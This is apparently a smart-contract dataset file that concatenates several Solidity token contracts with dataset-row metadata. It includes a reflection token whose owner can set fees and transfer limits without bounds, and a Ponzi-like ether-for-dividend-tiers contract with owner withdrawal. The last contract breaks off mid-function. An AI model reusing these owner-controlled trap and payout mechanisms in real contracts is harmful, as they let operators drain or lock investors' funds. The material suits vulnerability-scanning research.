}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MetaverseDAO is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Metaverse DAO';
string private constant _symbol = 'MVD';
uint256 private _taxFee = 400;
uint256 private _burnFee = 0;
uint public max_tx_size = 1000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x8119897edadbEB60ad6829d8dC4151f27d38F45B, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 309,587 | 13,222 |
f96f1fc582043bf5366ee6268101c35e18f62b7081ed428ca419961f450076e2
| 18,196 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xa70f4fecbe032135ad970dceeb9e5076a5be8b1d.sol
| 5,180 | 18,096 |
pragma solidity ^0.4.18;
contract SafeMath {
uint256 constant public MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
function safeAdd(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (x > MAX_UINT256 - y) throw;
return x + y;
}
function safeSub(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (x < y) throw;
return x - y;
}
function safeMul(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (y == 0) return 0;
if (x > MAX_UINT256 / y) throw;
return x * y;
}
function safeDiv(uint256 x, uint256 y) constant internal returns (uint256 z) {
uint256 f = x / y;
return f;
}
}
contract ERC223ReceivingContract {
struct inr {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data){
inr memory igniter;
igniter.sender = _from;
igniter.value = _value;
igniter.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
igniter.sig = bytes4(u);
}
}
contract iGniter is SafeMath {
struct serPayment {
uint256 unlockedBlockNumber;
}
struct dividends {
uint256 diviReg;
uint256 diviBlocks;
uint256 diviPayout;
uint256 diviBalance;
uint256 _tier1Reg;
uint256 _tier2Reg;
uint256 _tier3Reg;
uint256 _tier4Reg;
uint256 _tier5Reg;
uint256 _tier1Payout;
uint256 _tier2Payout;
uint256 _tier3Payout;
uint256 _tier4Payout;
uint256 _tier5Payout;
uint256 _tier1Blocks;
uint256 _tier2Blocks;
uint256 _tier3Blocks;
uint256 _tier4Blocks;
uint256 _tier5Blocks;
uint256 _tierPayouts;
uint256 hodlPayout;
uint256 _hodlReg;
uint256 _hodlBlocks;
}
string public name;
bytes32 public symbol;
uint8 public decimals;
uint256 private dividendsPerBlockPerAddress;
uint256 private T1DividendsPerBlockPerAddress;
uint256 private T2DividendsPerBlockPerAddress;
uint256 private T3DividendsPerBlockPerAddress;
uint256 private T4DividendsPerBlockPerAddress;
uint256 private T5DividendsPerBlockPerAddress;
uint256 private hodlersDividendsPerBlockPerAddress;
uint256 private totalInitialAddresses;
uint256 private initialBlockCount;
uint256 private minedBlocks;
uint256 private iGniting;
uint256 private totalRewards;
uint256 private initialSupplyPerAddress;
uint256 private availableAmount;
uint256 private burnt;
uint256 private inrSessions;
uint256 private availableBalance;
uint256 private initialSupply;
uint256 public currentCost;
uint256 private startBounty;
uint256 private finishBounty;
uint256 private blockStats;
uint256 private blockAverage;
uint256 private blockAvgDiff;
uint256 private divRewards;
uint256 private diviClaims;
uint256 private Tier1Amt;
uint256 private Tier2Amt;
uint256 private Tier3Amt;
uint256 private Tier4Amt;
uint256 private Tier5Amt;
uint256 private Tier1blocks;
uint256 private Tier2blocks;
uint256 private Tier3blocks;
uint256 private Tier4blocks;
uint256 private Tier5blocks;
uint256 private hodlBlocks;
uint256 private hodlersReward;
uint256 private hodlAmt;
uint256 private _tier1Avg;
uint256 private _tier1AvgDiff;
uint256 private _tier1Rewards;
uint256 private _tier2Avg;
uint256 private _tier2AvgDiff;
uint256 private _tier2Rewards;
uint256 private _tier3Avg;
uint256 private _tier3AvgDiff;
uint256 private _tier3Rewards;
uint256 private _tier4Avg;
uint256 private _tier4AvgDiff;
uint256 private _tier4Rewards;
uint256 private _tier5Avg;
uint256 private _tier5AvgDiff;
uint256 private _tier5Rewards;
uint256 private _hodlAvg;
uint256 private _hodlAvgDiff;
uint256 private _hodlRewards;
bool private t1active;
bool private t2active;
bool private t3active;
bool private t4active;
bool private t5active;
mapping(address => uint256) public balanceOf;
mapping(address => bool) public initialAddress;
mapping(address => bool) public dividendAddress;
mapping(address => bool) public qualifiedAddress;
mapping(address => bool) public TierStarterDividendAddress;
mapping(address => bool) public TierBasicDividendAddress;
mapping(address => bool) public TierClassicDividendAddress;
mapping(address => bool) public TierWildcatDividendAddress;
mapping(address => bool) public TierRainmakerDividendAddress;
mapping(address => bool) public HODLERAddress;
mapping(address => mapping (address => uint)) internal _allowances;
mapping(address => serPayment) inrPayments;
mapping(address => dividends) INRdividends;
address private _Owner;
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
modifier isOwner() {
require(msg.sender == _Owner);
_;
}
function iGniter() {
initialSupplyPerAddress = 10000000000; //10000 INR
initialBlockCount = 5100000;
dividendsPerBlockPerAddress = 7;
hodlersDividendsPerBlockPerAddress = 9000;
T1DividendsPerBlockPerAddress = 70;
T2DividendsPerBlockPerAddress = 300;
T3DividendsPerBlockPerAddress = 3500;
T4DividendsPerBlockPerAddress = 40000;
T5DividendsPerBlockPerAddress = 500000;
totalInitialAddresses = 5000;
initialSupply = initialSupplyPerAddress * totalInitialAddresses;
_Owner = msg.sender;
}
function currentBlock() constant returns (uint256 blockNumber)
{
return block.number;
}
function blockDiff() constant returns (uint256 blockNumber)
{
return block.number - initialBlockCount;
}
function assignInitialAddresses(address[] _address) isOwner public returns (bool success)
{
if (block.number < 10000000)
{
for (uint i = 0; i < _address.length; i++)
{
balanceOf[_address[i]] = initialSupplyPerAddress;
initialAddress[_address[i]] = true;
}
return true;
}
return false;
}
function assignBountyAddresses(address[] _address) isOwner public returns (bool success)
{
startBounty = 2500000000;
if (block.number < 10000000)
{
for (uint i = 0; i < _address.length; i++)
{
balanceOf[_address[i]] = startBounty;
initialAddress[_address[i]] = true;
}
return true;
}
return false;
}
function completeBountyAddresses(address[] _address) isOwner public returns (bool success)
{
finishBounty = 7500000000;
if (block.number < 10000000)
{
for (uint i = 0; i < _address.length; i++)
{
balanceOf[_address[i]] = balanceOf[_address[i]] + finishBounty;
initialAddress[_address[i]] = true;
}
return true;
}
return false;
}
function balanceOf(address _address) constant returns (uint256 Balance)
{
if(dividendAddress[_address] == true)
{
INRdividends[_address].diviBlocks = block.number - INRdividends[_address].diviReg;
INRdividends[_address].diviPayout = dividendsPerBlockPerAddress * INRdividends[_address].diviBlocks;
}
if(TierStarterDividendAddress[_address] == true)
{
INRdividends[_address]._tier1Blocks = block.number - INRdividends[_address]._tier1Reg;
INRdividends[_address]._tier1Payout = T1DividendsPerBlockPerAddress * INRdividends[_address]._tier1Blocks;
}
if(TierBasicDividendAddress[_address] == true)
{
INRdividends[_address]._tier2Blocks = block.number - INRdividends[_address]._tier2Reg;
INRdividends[_address]._tier2Payout = T2DividendsPerBlockPerAddress * INRdividends[_address]._tier2Blocks;
}
if(TierClassicDividendAddress[_address] == true)
{
INRdividends[_address]._tier3Blocks = block.number - INRdividends[_address]._tier3Reg;
INRdividends[_address]._tier3Payout = T3DividendsPerBlockPerAddress * INRdividends[_address]._tier3Blocks;
}
if(TierWildcatDividendAddress[_address] == true)
{
INRdividends[_address]._tier4Blocks = block.number - INRdividends[_address]._tier4Reg;
INRdividends[_address]._tier4Payout = T4DividendsPerBlockPerAddress * INRdividends[_address]._tier4Blocks;
}
if(TierRainmakerDividendAddress[_address] == true)
{
INRdividends[_address]._tier5Blocks = block.number - INRdividends[_address]._tier5Reg;
INRdividends[_address]._tier5Payout = T5DividendsPerBlockPerAddress * INRdividends[_address]._tier5Blocks;
}
if ((balanceOf[_address]) >= 100000000000 && (HODLERAddress[_address] == true)) { //100000INR
INRdividends[_address]._hodlBlocks = block.number - INRdividends[_address]._hodlReg;
INRdividends[_address].hodlPayout = hodlersDividendsPerBlockPerAddress * INRdividends[_address]._hodlBlocks;
}
minedBlocks = block.number - initialBlockCount;
INRdividends[_address]._tierPayouts = INRdividends[_address]._tier1Payout + INRdividends[_address]._tier2Payout +
INRdividends[_address]._tier3Payout + INRdividends[_address]._tier4Payout
+ INRdividends[_address]._tier5Payout;
if ((initialAddress[_address]) == true) {
if (minedBlocks > 105120000) return balanceOf[_address]; //app. 2058
availableAmount = dividendsPerBlockPerAddress * minedBlocks;
availableBalance = balanceOf[_address] + availableAmount + INRdividends[_address]._tierPayouts + INRdividends[_address].diviPayout + INRdividends[_address].hodlPayout;
return availableBalance;
}
if ((qualifiedAddress[_address]) == true){
if (minedBlocks > 105120000) return balanceOf[_address]; //app. 2058
availableBalance = balanceOf[_address] + INRdividends[_address]._tierPayouts + INRdividends[_address].diviPayout + INRdividends[_address].hodlPayout;
return availableBalance;
}
else {
return balanceOf[_address];
}
}
function name() constant returns (string _name)
{
name = "iGniter";
return name;
}
function symbol() constant returns (bytes32 _symbol)
{
symbol = "INR";
return symbol;
}
function decimals() constant returns (uint8 _decimals)
{
decimals = 6;
return decimals;
}
function totalSupply() constant returns (uint256 totalSupply)
{
minedBlocks = block.number - initialBlockCount;
availableAmount = dividendsPerBlockPerAddress * minedBlocks;
iGniting = availableAmount * totalInitialAddresses;
if(t1active == true)
{
_tier1Avg = Tier1blocks/Tier1Amt;
_tier1AvgDiff = block.number - _tier1Avg;
_tier1Rewards = _tier1AvgDiff * T1DividendsPerBlockPerAddress * Tier1Amt;
}
if(t2active == true)
{
_tier2Avg = Tier2blocks/Tier2Amt;
_tier2AvgDiff = block.number - _tier2Avg;
_tier2Rewards = _tier2AvgDiff * T2DividendsPerBlockPerAddress * Tier2Amt;
}
if(t3active == true)
{
_tier3Avg = Tier3blocks/Tier3Amt;
_tier3AvgDiff = block.number - _tier3Avg;
_tier3Rewards = _tier3AvgDiff * T3DividendsPerBlockPerAddress * Tier3Amt;
}
if(t4active == true)
{
_tier4Avg = Tier4blocks/Tier4Amt;
_tier4AvgDiff = block.number - _tier4Avg;
_tier4Rewards = _tier4AvgDiff * T4DividendsPerBlockPerAddress * Tier4Amt;
}
if(t5active == true)
{
_tier5Avg = Tier5blocks/Tier5Amt;
_tier5AvgDiff = block.number - _tier5Avg;
_tier5Rewards = _tier5AvgDiff * T5DividendsPerBlockPerAddress * Tier5Amt;
}
_hodlAvg = hodlBlocks/hodlAmt;
_hodlAvgDiff = block.number - _hodlAvg;
_hodlRewards = _hodlAvgDiff * hodlersDividendsPerBlockPerAddress * hodlAmt;
blockAverage = blockStats/diviClaims;
blockAvgDiff = block.number - blockAverage;
divRewards = blockAvgDiff * dividendsPerBlockPerAddress * diviClaims;
totalRewards = _tier1Rewards + _tier2Rewards + _tier3Rewards + _tier4Rewards + _tier5Rewards + _hodlRewards + divRewards;
return initialSupply + iGniting + totalRewards - burnt;
}
function burn(uint256 _value) public returns(bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
burnt += _value;
Burn(msg.sender, _value);
return true;
}
function transfer(address _to, uint _value) public returns (bool) {
if (_value > 0 && _value <= balanceOf[msg.sender] && !isContract(_to)) {
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
return false;
}
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
if (_value > 0 && _value <= balanceOf[msg.sender] && isContract(_to)) {
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
ERC223ReceivingContract _contract = ERC223ReceivingContract(_to);
_contract.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
}
return false;
}
function isContract(address _addr) returns (bool) {
uint codeSize;
assembly {
codeSize := extcodesize(_addr)
}
return codeSize > 0;
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
if (_allowances[_from][msg.sender] > 0 && _value > 0 && _allowances[_from][msg.sender] >= _value &&
balanceOf[_from] >= _value) {
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_allowances[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
return false;
}
function approve(address _spender, uint _value) public returns (bool) {
_allowances[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint) {
return _allowances[_owner][_spender];
}
function PaymentStatusBlockNum(address _address) constant returns (uint256 blockno) {
return inrPayments[_address].unlockedBlockNumber;
}
function updateCost(uint256 _currCost) isOwner public {
currentCost = _currCost;
}
function servicePayment(uint _value) public {
require(_value >= currentCost);
require(balanceOf[msg.sender] >= currentCost);
inrPayments[msg.sender].unlockedBlockNumber = block.number;
inrSessions++;
balanceOf[msg.sender] -= _value;
burnt += _value;
Burn(msg.sender, _value);
}
function withdrawal(uint quantity) isOwner returns(bool) {
require(quantity <= this.balance);
_Owner.transfer(quantity);
return true;
}
function claimDividends() public {
if (dividendAddress[msg.sender] == false)
{
INRdividends[msg.sender].diviReg = block.number;
dividendAddress[msg.sender] = true;
qualifiedAddress[msg.sender] = true;
blockStats += block.number;
diviClaims++;
}
}
function HODLRegistration() public {
INRdividends[msg.sender]._hodlReg = block.number;
HODLERAddress[msg.sender] = true;
qualifiedAddress[msg.sender] = true;
hodlBlocks += block.number;
hodlAmt++;
}
function Tier_Starter() public payable {
require(msg.value == 0.02 ether);
INRdividends[msg.sender]._tier1Reg = block.number;
TierStarterDividendAddress[msg.sender] = true;
qualifiedAddress[msg.sender] = true;
Tier1blocks += block.number;
Tier1Amt++;
t1active = true;
}
function Tier_Basic() public payable {
require(msg.value == 0.05 ether);
INRdividends[msg.sender]._tier2Reg = block.number;
TierBasicDividendAddress[msg.sender] = true;
qualifiedAddress[msg.sender] = true;
Tier2blocks += block.number;
Tier2Amt++;
t2active = true;
}
function Tier_Classic() public payable {
require(msg.value == 0.5 ether);
INRdividends[msg.sender]._tier3Reg = block.number;
TierClassicDividendAddress[msg.sender] = true;
qualifiedAddress[msg.sender] = true;
Tier3blocks += block.number;
Tier3Amt++;
t3active = true;
}
function Tier_Wildcat() public payable {
require(msg.value == 5 ether);
INRdividends[msg.sender]._tier4Reg = block.number;
TierWildcatDividendAddress[msg.sender] = true;
qualifiedAddress[msg.sender] = true;
Tier4blocks += block.number;
Tier4Amt++;
t4active = true;
}
function Tier_Rainmaker() public payable {
require(msg.value == 50 ether);
INRdividends[msg.sender]._tier5Reg = block.number;
TierRainmakerDividendAddress[msg.sender] = true;
qualifiedAddress[msg.sender] = true;
Tier5blocks += block.number;
Tier5Amt++;
t5active = true;
}
}
| 181,205 | 13,223 |
75b55406943f3a712e1f4a83a5259bec050d20bfcddb9ec0b5821808cbf522ad
| 22,680 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/ce/ceD5B6eB047C27D364dF625c90f93D4D0664f267_BABYPEPE.sol
| 4,572 | 18,936 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
